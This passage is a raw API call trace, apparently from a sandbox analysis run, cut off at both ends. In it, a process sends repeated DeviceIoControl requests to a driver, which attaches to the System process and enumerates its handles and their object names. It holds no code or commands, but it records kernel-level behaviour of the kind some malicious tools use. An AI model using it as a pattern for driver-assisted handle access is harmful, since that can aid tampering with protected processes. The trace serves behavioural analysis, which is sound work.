IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.115] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.115] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.115] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0103.115] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.115] PsAcquireProcessExitSynchronization () returned 0x0 [0103.115] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.115] ObReferenceObjectByHandle (in: Handle=0xffffffff800009f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003afd2c0, HandleInformation=0x0) returned 0x0 [0103.115] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.115] PsReleaseProcessExitSynchronization () returned 0x2 [0103.115] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.115] ObQueryNameString (in: Object=0xfffffa8003afd2c0, ObjectNameInfo=0xfffffa800264e044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800264e044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.116] ObfDereferenceObject (Object=0xfffffa8003afd2c0) returned 0x2 [0103.116] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.116] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.116] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.116] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.116] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.116] PsAcquireProcessExitSynchronization () returned 0x0 [0103.116] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.116] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a04, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002005b20, HandleInformation=0x0) returned 0x0 [0103.116] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.116] PsReleaseProcessExitSynchronization () returned 0x2 [0103.116] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.116] ObQueryNameString (in: Object=0xfffffa8002005b20, ObjectNameInfo=0xfffffa8003857044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8003857044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.116] ObfDereferenceObject (Object=0xfffffa8002005b20) returned 0x2 [0103.116] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.116] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.116] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.116] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0103.116] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.116] PsAcquireProcessExitSynchronization () returned 0x0 [0103.116] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.116] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a20, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80019d7730, HandleInformation=0x0) returned 0x0 [0103.116] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.116] PsReleaseProcessExitSynchronization () returned 0x2 [0103.116] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.116] ObQueryNameString (in: Object=0xfffffa80019d7730, ObjectNameInfo=0xfffffa80025fe044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fe044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.116] ObfDereferenceObject (Object=0xfffffa80019d7730) returned 0x2 [0103.116] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.116] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.117] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.117] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0103.117] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.117] PsAcquireProcessExitSynchronization () returned 0x0 [0103.117] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.117] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a24, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80032f6cf0, HandleInformation=0x0) returned 0x0 [0103.117] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.117] PsReleaseProcessExitSynchronization () returned 0x2 [0103.117] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.117] ObQueryNameString (in: Object=0xfffffa80032f6cf0, ObjectNameInfo=0xfffffa8002813044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002813044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.117] ObfDereferenceObject (Object=0xfffffa80032f6cf0) returned 0x2 [0103.117] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.117] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.117] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.117] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.117] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.117] PsAcquireProcessExitSynchronization () returned 0x0 [0103.117] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.117] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a2c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80024d5d10, HandleInformation=0x0) returned 0x0 [0103.117] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.117] PsReleaseProcessExitSynchronization () returned 0x2 [0103.117] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.117] ObQueryNameString (in: Object=0xfffffa80024d5d10, ObjectNameInfo=0xfffffa80037a6044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80037a6044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.117] ObfDereferenceObject (Object=0xfffffa80024d5d10) returned 0x2 [0103.117] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.117] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.117] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.117] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.117] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.117] PsAcquireProcessExitSynchronization () returned 0x0 [0103.117] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.118] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a30, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80024c9050, HandleInformation=0x0) returned 0x0 [0103.118] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.118] PsReleaseProcessExitSynchronization () returned 0x2 [0103.118] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.118] ObQueryNameString (in: Object=0xfffffa80024c9050, ObjectNameInfo=0xfffffa80033f6044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80033f6044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.118] ObfDereferenceObject (Object=0xfffffa80024c9050) returned 0x2 [0103.118] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.118] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.118] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.118] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x1e305e0, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0103.118] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.118] PsAcquireProcessExitSynchronization () returned 0x0 [0103.118] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.118] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a38, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0x0, HandleInformation=0x0) returned 0xc0000008 [0103.118] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.118] PsReleaseProcessExitSynchronization () returned 0x2 [0103.118] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.118] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.118] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.118] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.118] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.118] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.118] PsAcquireProcessExitSynchronization () returned 0x0 [0103.118] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.118] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a4c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800258ec90, HandleInformation=0x0) returned 0x0 [0103.118] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.118] PsReleaseProcessExitSynchronization () returned 0x2 [0103.118] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.118] ObQueryNameString (in: Object=0xfffffa800258ec90, ObjectNameInfo=0xfffffa8002494044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002494044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.118] ObfDereferenceObject (Object=0xfffffa800258ec90) returned 0x2 [0103.118] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.118] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.119] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.119] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.119] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.119] PsAcquireProcessExitSynchronization () returned 0x0 [0103.119] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.119] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a58, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800225bdc0, HandleInformation=0x0) returned 0x0 [0103.119] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.119] PsReleaseProcessExitSynchronization () returned 0x2 [0103.119] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.119] ObQueryNameString (in: Object=0xfffffa800225bdc0, ObjectNameInfo=0xfffffa8002066044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002066044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.119] ObfDereferenceObject (Object=0xfffffa800225bdc0) returned 0x2 [0103.119] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.119] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.119] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.119] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0103.119] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.119] PsAcquireProcessExitSynchronization () returned 0x0 [0103.119] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.119] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80038537e0, HandleInformation=0x0) returned 0x0 [0103.119] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.119] PsReleaseProcessExitSynchronization () returned 0x2 [0103.119] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.119] ObQueryNameString (in: Object=0xfffffa80038537e0, ObjectNameInfo=0xfffffa80037a5244, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80037a5244, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.119] ObfDereferenceObject (Object=0xfffffa80038537e0) returned 0x2 [0103.119] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.119] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.119] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.119] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.119] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.119] PsAcquireProcessExitSynchronization () returned 0x0 [0103.119] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.120] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a6c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003853590, HandleInformation=0x0) returned 0x0 [0103.120] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.120] PsReleaseProcessExitSynchronization () returned 0x2 [0103.120] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.120] ObQueryNameString (in: Object=0xfffffa8003853590, ObjectNameInfo=0xfffffa8003420684, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8003420684, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.120] ObfDereferenceObject (Object=0xfffffa8003853590) returned 0x2 [0103.120] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.120] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.120] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.120] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.120] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.120] PsAcquireProcessExitSynchronization () returned 0x0 [0103.120] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.120] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a7c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800231bdc0, HandleInformation=0x0) returned 0x0 [0103.120] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.120] PsReleaseProcessExitSynchronization () returned 0x2 [0103.120] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.120] ObQueryNameString (in: Object=0xfffffa800231bdc0, ObjectNameInfo=0xfffffa8002078044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002078044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.120] ObfDereferenceObject (Object=0xfffffa800231bdc0) returned 0x2 [0103.120] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.120] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.120] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.120] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.120] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.120] PsAcquireProcessExitSynchronization () returned 0x0 [0103.120] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.120] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a80, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002891d10, HandleInformation=0x0) returned 0x0 [0103.120] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.120] PsReleaseProcessExitSynchronization () returned 0x2 [0103.120] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.120] ObQueryNameString (in: Object=0xfffffa8002891d10, ObjectNameInfo=0xfffffa80034287c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80034287c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.120] ObfDereferenceObject (Object=0xfffffa8002891d10) returned 0x2 [0103.121] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.121] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.121] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.121] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0103.121] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.121] PsAcquireProcessExitSynchronization () returned 0x0 [0103.121] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.121] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a8c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003b8bf20, HandleInformation=0x0) returned 0x0 [0103.121] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.121] PsReleaseProcessExitSynchronization () returned 0x2 [0103.121] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.121] ObQueryNameString (in: Object=0xfffffa8003b8bf20, ObjectNameInfo=0xfffffa80024926c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80024926c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.121] ObfDereferenceObject (Object=0xfffffa8003b8bf20) returned 0x2 [0103.121] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.121] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.121] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.121] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0103.121] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.121] PsAcquireProcessExitSynchronization () returned 0x0 [0103.121] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0103.121] ObReferenceObjectByHandle (in: Handle=0xffffffff80000aac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002849d20, HandleInformation=0x0) returned 0x0 [0103.121] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.121] PsReleaseProcessExitSynchronization () returned 0x2 [0103.121] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0103.121] ObQueryNameString (in: Object=0xfffffa8002849d20, ObjectNameInfo=0xfffffa800341d044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800341d044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.121] ObfDereferenceObject (Object=0xfffffa8002849d20) returned 0x2 [0103.121] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.121] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0103.121] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0103.121] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0103.122] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.122] PsAcquireProcessExitSynchronization () returned 0x0 [0103.122] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, 